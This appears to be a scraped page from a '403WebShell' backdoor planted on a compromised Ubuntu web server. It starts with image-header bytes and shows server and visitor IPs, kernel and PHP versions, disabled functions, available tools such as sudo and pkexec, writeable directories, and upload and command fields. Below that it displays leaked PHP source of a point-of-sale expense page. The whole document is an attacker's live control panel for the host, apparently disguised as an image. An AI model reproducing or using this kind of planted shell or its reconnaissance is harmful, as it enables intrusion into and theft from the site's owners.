����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.191.136.109
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/spends-view.php
  <section class="content-header">
          	<h1>Gastos Generales</h1>
          <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Ventas</a></li>
            <li class="active">Registro de Gastos</li>
          </ol>
		  
    </section>
	
<section class="content">

	
<div class="row">
	<div class="col-md-12">

		<?php

		$users = SpendGData::getAllUnBoxed();
		if(count($users)>0){
			// si hay usuarios
			$total = 0;
			?>
              <div class="box box-primary">
                <div class="box-header">
                  <h3 class="box-title">Busqueda de Gastos</h3>
                </div><!-- /.box-header -->
				
				
				<div class="btn-group pull-right">
					<a href="#" class="btn btn-primary" title="Agregar Rapido Gasto General" id="btnadd"  name="btnadd"><i class='fa fa-plus'></i></a>
				</div>
				<div class="input-group ">
					<div class="btn-group pull-right">
					<a href="index.php?view=newspend" class="btn btn-default"><i class='fa fa-th-list'></i>[F9] Nuevo Gasto Registro Completo</a>
					</div>
					<span class="input-group-btn ">
						<button type="submit" title="Buscar Gasto por Categoria" class="btn btn-primary " id="btnadd3" name="btnadd3">
							<i class="fa  fa-search"></i>
						</button>
					</span>
				</div>   

			<table class="table table-bordered datatable table-hover">
			<thead>
			<th>Concepto</th>
			<th>Costo</th>
			<th>Categoria</th>
			<th>Fecha</th>
			<th></th>
			</thead>
			<?php
			foreach($users as $user){
				?>
				<tr>
				<td><?php echo $user->name; ?></td>
				<td>$ <?php echo number_format($user->price,2,".",","); ?></td>
				<td><?php 
				$c = SpendTypeData::getById2($user->type_spend_id);
				
				echo $c->name; ?>
				</td>
				<td><?php echo $user->created_at; ?></td>
				<td style="width:130px;"><a href="index.php?view=editspend&id=<?php echo $user->id;?>" class="btn btn-warning btn-xs">Editar</a> <a href="index.php?action=delspend&id=<?php echo $user->id;?>" class="btn btn-danger btn-xs">Eliminar</a></td>
				</tr>
				<?php
				$total+=$user->price;

			}

echo "</table>";
echo "<div class='box-body'><h1>Gasto Total : $".number_format($total,2,".",",")."</div></h1>";
echo "</div>";

		}else{
			echo "<p class='alert alert-danger'>No hay Gastos</p>";
		}


		?>


	</div>
</div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit